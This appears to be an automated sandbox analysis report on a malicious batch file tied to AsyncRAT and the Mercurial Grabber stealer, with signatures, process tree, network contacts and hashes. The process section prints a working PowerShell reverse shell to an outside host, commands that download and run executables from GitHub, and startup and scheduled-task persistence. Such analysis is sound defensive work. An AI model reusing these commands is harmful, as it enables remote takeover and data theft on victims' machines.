Analysis Overview
SHA256
b79c63a1f5777b977a48085de65f8041d1d6b2d5d569224b0f81b343578f1803
Threat Level: Known bad
The file create.bat was found to be: Known bad.
Malicious Activity Summary
Mercurial Grabber Stealer
AsyncRat
Asyncrat family
Mercurialgrabber family
Looks for VirtualBox Guest Additions in registry
Async RAT payload
Command and Scripting Interpreter: PowerShell
Downloads MZ/PE file
Blocklisted process makes network request
Looks for VMWare Tools registry key
Drops startup file
Reads user/profile data of web browsers
Checks BIOS information in registry
Executes dropped EXE
Checks computer location settings
Looks up external IP address via web service
Maps connected drives based on registry
Enumerates physical storage devices
Checks SCSI registry key(s)
Uses Task Scheduler COM API
Checks processor information in registry
Delays execution with timeout.exe
Suspicious use of AdjustPrivilegeToken
Scheduled Task/Job: Scheduled Task
Suspicious use of WriteProcessMemory
Enumerates system info in registry
Suspicious behavior: EnumeratesProcesses
MITRE ATT&CK
Enterprise Matrix V15
Analysis: static1
Detonation Overview
Reported
2024-11-22 01:13
Signatures
Analysis: behavioral1
Detonation Overview
Submitted
2024-11-22 01:13
Reported
2024-11-22 01:26
Platform
win10v2004-20241007-en
Max time kernel
750s
Max time network
746s
Command Line
Signatures
AsyncRat
Asyncrat family
Mercurial Grabber Stealer
Mercurialgrabber family
Async RAT payload
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
Looks for VirtualBox Guest Additions in registry
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\SOFTWARE\Oracle\VirtualBox Guest Additions | C:\Users\Admin\Desktop\output.exe | N/A |
Blocklisted process makes network request
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Command and Scripting Interpreter: PowerShell
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Downloads MZ/PE file
Looks for VMWare Tools registry key
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\SOFTWARE\VMWare, Inc.\VMWare Tools | C:\Users\Admin\Desktop\output.exe | N/A |
Checks BIOS information in registry
| Description | Indicator | Process | Target |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion | C:\Users\Admin\Desktop\output.exe | N/A |
Checks computer location settings
| Description | Indicator | Process | Target |
| Key value queried | \REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\Control Panel\International\Geo\Nation | C:\Users\Admin\Desktop\Loader.exe | N/A |
Drops startup file
| Description | Indicator | Process | Target |
| File created | C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\output.lnk | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| File created | C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Loader.lnk | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Executes dropped EXE
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\Desktop\output.exe | N/A |
| N/A | N/A | C:\Users\Admin\Desktop\Loader.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\WINDOWS.exe | N/A |
Reads user/profile data of web browsers
Looks up external IP address via web service
| Description | Indicator | Process | Target |
| N/A | ip4.seeip.org | N/A | N/A |
| N/A | ip-api.com | N/A | N/A |
Maps connected drives based on registry
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Disk\Enum | C:\Users\Admin\Desktop\output.exe | N/A |
| Key value queried | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\disk\Enum\0 | C:\Users\Admin\Desktop\output.exe | N/A |
Enumerates physical storage devices
Checks SCSI registry key(s)
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_VMware_&Prod_VMware_Virtual_S | C:\Users\Admin\Desktop\output.exe | N/A |
Checks processor information in registry
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 | C:\Users\Admin\Desktop\output.exe | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString | C:\Users\Admin\Desktop\output.exe | N/A |
Delays execution with timeout.exe
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\system32\timeout.exe | N/A |
Enumerates system info in registry
| Description | Indicator | Process | Target |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemProductName | C:\Users\Admin\Desktop\output.exe | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Logical Unit Id 0 | C:\Users\Admin\Desktop\output.exe | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosInformation | C:\Users\Admin\Desktop\output.exe | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemManufacturer | C:\Users\Admin\Desktop\output.exe | N/A |
Scheduled Task/Job: Scheduled Task
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\system32\schtasks.exe | N/A |
Suspicious behavior: EnumeratesProcesses
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Users\Admin\Desktop\output.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Users\Admin\Desktop\Loader.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Users\Admin\Desktop\Loader.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Users\Admin\AppData\Roaming\WINDOWS.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Users\Admin\AppData\Roaming\WINDOWS.exe | N/A |
Suspicious use of WriteProcessMemory
Uses Task Scheduler COM API
Processes
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\create.bat"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -NoProfile -ExecutionPolicy Bypass -Command "$LHOST = 'radio-ebay.gl.at.ply.gg'; $LPORT = 10404; $TCPClient = New-Object Net.Sockets.TCPClient($LHOST, $LPORT); $NetworkStream = $TCPClient.GetStream(); $StreamReader = New-Object IO.StreamReader($NetworkStream); $StreamWriter = New-Object IO.StreamWriter($NetworkStream); $StreamWriter.AutoFlush = $true; $Buffer = New-Object System.Byte[] 1024; while ($TCPClient.Connected) { while ($NetworkStream.DataAvailable) { $RawData = $NetworkStream.Read($Buffer, 0, $Buffer.Length); $Code = ([text.encoding]::UTF8).GetString($Buffer, 0, $RawData -1) }; if ($TCPClient.Connected -and $Code.Length -gt 1) { $Output = try { Invoke-Expression ($Code) } catch { $_ }; $StreamWriter.Write('$Output`n'); $Code = $null } }; $TCPClient.Close(); $NetworkStream.Close(); $StreamReader.Close(); $StreamWriter.Close()"
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\Loader.bat" "
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -Command "Invoke-WebRequest -Uri https://github.com/Realmastercoder69/DD/releases/download/D/output.exe -OutFile C:\Users\Admin\Desktop\output.exe -ErrorAction SilentlyContinue"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -Command "$WScriptShell = New-Object -ComObject WScript.Shell; $shortcut1 = $WScriptShell.CreateShortcut('C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\output.lnk'); $shortcut1.TargetPath = 'C:\Users\Admin\Desktop\output.exe'; $shortcut1.Save()"
C:\Users\Admin\Desktop\output.exe
C:\Users\Admin\Desktop\output.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -Command "Invoke-WebRequest -Uri https://github.com/Realmastercoder69/uu/releases/download/dss/Loader.exe -OutFile C:\Users\Admin\Desktop\Loader.exe -ErrorAction SilentlyContinue"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -Command "$WScriptShell = New-Object -ComObject WScript.Shell; $shortcut2 = $WScriptShell.CreateShortcut('C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Loader.lnk'); $shortcut2.TargetPath = 'C:\Users\Admin\Desktop\Loader.exe'; $shortcut2.Save()"
C:\Users\Admin\Desktop\Loader.exe
C:\Users\Admin\Desktop\Loader.exe
C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "WINDOWS" /tr '"C:\Users\Admin\AppData\Roaming\WINDOWS.exe"' & exit
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmpEC06.tmp.bat""
C:\Windows\system32\schtasks.exe
schtasks /create /f /sc onlogon /rl highest /tn "WINDOWS" /tr '"C:\Users\Admin\AppData\Roaming\WINDOWS.exe"'
C:\Windows\system32\timeout.exe
timeout 3
C:\Users\Admin\AppData\Roaming\WINDOWS.exe
"C:\Users\Admin\AppData\Roaming\WINDOWS.exe"
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | 172.210.232.199.in-addr.arpa | udp |
| US | 8.8.8.8:53 | radio-ebay.gl.at.ply.gg | udp |
| US | 147.185.221.23:10404 | radio-ebay.gl.at.ply.gg | tcp |
| US | 8.8.8.8:53 | 97.17.167.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 95.221.229.192.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 23.221.185.147.in-addr.arpa | udp |
| US | 8.8.8.8:53 | github.com | udp |
| GB | 20.26.156.215:443 | github.com | tcp |
| US | 8.8.8.8:53 | objects.githubusercontent.com | udp |
| US | 185.199.111.133:443 | objects.githubusercontent.com | tcp |
| US | 8.8.8.8:53 | 215.156.26.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 241.150.49.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 133.111.199.185.in-addr.arpa | udp |
| GB | 20.26.156.215:443 | github.com | tcp |
| US | 185.199.111.133:443 | objects.githubusercontent.com | tcp |
| US | 8.8.8.8:53 | ip4.seeip.org | udp |
| GB | 20.26.156.215:443 | github.com | tcp |
| US | 23.128.64.141:443 | ip4.seeip.org | tcp |
| US | 185.199.111.133:443 | objects.githubusercontent.com | tcp |
| US | 8.8.8.8:53 | technical-southwest.gl.at.ply.gg | udp |
| US | 147.185.221.23:58694 | technical-southwest.gl.at.ply.gg | tcp |
| US | 8.8.8.8:53 | 172.214.232.199.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 50.23.12.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 171.39.242.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | ip-api.com | udp |
| US | 208.95.112.1:80 | ip-api.com | tcp |
| US | 8.8.8.8:53 | discordapp.com | udp |
| US | 162.159.134.233:443 | discordapp.com | tcp |
| US | 162.159.134.233:443 | discordapp.com | tcp |
| US | 8.8.8.8:53 | 1.112.95.208.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 233.134.159.162.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 178.11.19.2.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 19.229.111.52.in-addr.arpa | udp |
| US | 162.159.134.233:443 | discordapp.com | tcp |
| US | 8.8.8.8:53 | 210.143.182.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | technical-southwest.gl.at.ply.gg | udp |
| US | 147.185.221.23:58694 | technical-southwest.gl.at.ply.gg | tcp |
| US | 147.185.221.23:58694 | technical-southwest.gl.at.ply.gg | tcp |
| US | 147.185.221.23:58694 | technical-southwest.gl.at.ply.gg | tcp |
| US | 147.185.221.23:58694 | technical-southwest.gl.at.ply.gg | tcp |
| US | 147.185.221.23:58694 | technical-southwest.gl.at.ply.gg | tcp |
| US | 147.185.221.23:58694 | technical-southwest.gl.at.ply.gg | tcp |
| US | 147.185.221.23:58694 | technical-southwest.gl.at.ply.gg | tcp |
| US | 147.185.221.23:58694 | technical-southwest.gl.at.ply.gg | tcp |
| US | 147.185.221.23:58694 | technical-southwest.gl.at.ply.gg | tcp |
| US | 147.185.221.23:58694 | technical-southwest.gl.at.ply.gg | tcp |
| US | 147.185.221.23:58694 | technical-southwest.gl.at.ply.gg | tcp |
| US | 147.185.221.23:58694 | technical-southwest.gl.at.ply.gg | tcp |
| US | 147.185.221.23:58694 | technical-southwest.gl.at.ply.gg | tcp |
| US | 8.8.8.8:53 | technical-southwest.gl.at.ply.gg | udp |
| US | 147.185.221.23:58694 | technical-southwest.gl.at.ply.gg | tcp |
| US | 147.185.221.23:58694 | technical-southwest.gl.at.ply.gg | tcp |
| US | 147.185.221.23:58694 | technical-southwest.gl.at.ply.gg | tcp |
| US | 147.185.221.23:58694 | technical-southwest.gl.at.ply.gg | tcp |
| US | 147.185.221.23:58694 | technical-southwest.gl.at.ply.gg | tcp |
Files
memory/2136-0-0x00007FF85E3C3000-0x00007FF85E3C5000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_dl5gmtfk.5kk.ps1
| MD5 | d17fe0a3f47be24a6453e9ef58c94641 |
| SHA1 | 6ab83620379fc69f80c0242105ddffd7d98d5d9d |
| SHA256 | 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7 |
| SHA512 | 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82 |
memory/2136-10-0x0000029052530000-0x0000029052552000-memory.dmp
memory/2136-11-0x00007FF85E3C0000-0x00007FF85EE81000-memory.dmp
memory/2136-12-0x00007FF85E3C0000-0x00007FF85EE81000-memory.dmp
memory/2136-13-0x00007FF85E3C3000-0x00007FF85E3C5000-memory.dmp
memory/2136-14-0x00007FF85E3C0000-0x00007FF85EE81000-memory.dmp
memory/2136-15-0x00007FF85E3C0000-0x00007FF85EE81000-memory.dmp
memory/2136-17-0x00007FF85E3C0000-0x00007FF85EE81000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\Loader.bat
| MD5 | f3f83ae17a3f81e0265b9ce7e480bd4e |
| SHA1 | 994d8d5b533fd09630b45a0d0404f65557e83d5d |
| SHA256 | 412476007cd57ca529c83c386125249fbe0952a2522f5d838ffd3fb10a6e1f74 |
| SHA512 | cc0480e5cf4b8d6ca9318f806587bf121dc8feb553263e4756b43b568cf38d93ce94a467e87878f299d3fdabc66e178c8dafa96e3e5fda51bbfd7a6b4220bf39 |
memory/4076-21-0x00007FF85E3C0000-0x00007FF85EE81000-memory.dmp
memory/4076-22-0x00007FF85E3C0000-0x00007FF85EE81000-memory.dmp
memory/4076-23-0x00007FF85E3C0000-0x00007FF85EE81000-memory.dmp
memory/4076-36-0x00007FF85E3C0000-0x00007FF85EE81000-memory.dmp
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
| MD5 | 2f57fde6b33e89a63cf0dfdd6e60a351 |
| SHA1 | 445bf1b07223a04f8a159581a3d37d630273010f |
| SHA256 | 3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55 |
| SHA512 | 42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220 |
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
| MD5 | 612b19feac3b60bdc771ec888769ea75 |
| SHA1 | cc0117dc3f83e139f22d7c9f068a0fa2027fc8fb |
| SHA256 | 3eb12f5e02a7aad8764186e1f62d9cebcc8667c854ebf4356fe404f042b84ec1 |
| SHA512 | 2f56333015641eb11b853a350ca5a01763ab9fd2d572fca51ba2d7df3018546c9667a64ba670e443e0fef5c10879964bfe18084ae0b44e95cb17dcc864ffd4af |
C:\Users\Admin\Desktop\output.exe
| MD5 | a0e598ec98a975405420be1aadaa3c2a |
| SHA1 | d861788839cfb78b5203686334c1104165ea0937 |
| SHA256 | e6ac8a6dac77f9873024f50befb293b9cf6347aa2e093cd863b551d9c8da5f8d |
| SHA512 | e5ee500a8dcddd72e727cfa24e51093cd2b088f7ef89089f1d24145baa41c1ac46bf6be73bfd8cb15e2549349da8c2547d4e391b6e3a456621524fe0f83f9585 |
memory/1912-61-0x0000000000F30000-0x0000000000F40000-memory.dmp
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
| MD5 | 3df110e480ee96b0eb33e2a49b6e9c38 |
| SHA1 | ab63f7e1cae2e3c353480cf9649ed003f297f02c |
| SHA256 | 6e681c03c4803b75a721a4439acf24c12b774dea7c652f6feffe57466e3d056c |
| SHA512 | 37287132e7a1cf3ee34d12db777fe1c067f79bc82dda78a9bca31880fa1937a9230d309b7dd04a541c33c8523063c038ef943673bffd36d3e276cc157383fcee |
C:\Users\Admin\Desktop\Loader.exe
| MD5 | 7ceb11ebb7a55e33a82bc3b66f554e79 |
| SHA1 | 8dfd574ad06ded662d92d81b72f14c1914ac45b5 |
| SHA256 | aea3e89e45a33441bcd06c990282f8601eb960a641c611222dce2fe09685e603 |
| SHA512 | d8cd7af50996015163c8926fc7b6df6a6e2c0b3f6c8fcff37cad5b72fed115f7134723d99f61a20576b83e67107a3a410f5ef2312191446b3d0759cb739e6ccd |
memory/5024-79-0x0000000000AC0000-0x0000000000AD6000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\tmpEC06.tmp.bat
| MD5 | 8954a2e315c7d9204581f261242435ad |
| SHA1 | 31f6742e7f7da70a2e58ad7e04e735dc84a4e611 |
| SHA256 | 06a6c2e0d9540f7d5c877da3c74146797940cd40add424e541ddcecf8dfc4b6b |
| SHA512 | 87392af42a4264758e95e4645bab5970069b1fa8ccc59a93227faae17de5ee0a0ecca0722ce25281a9ad9464a858da356caf2c0348831eef98a5daa616f3bb4e |
memory/2136-85-0x00007FF85E3C0000-0x00007FF85EE81000-memory.dmp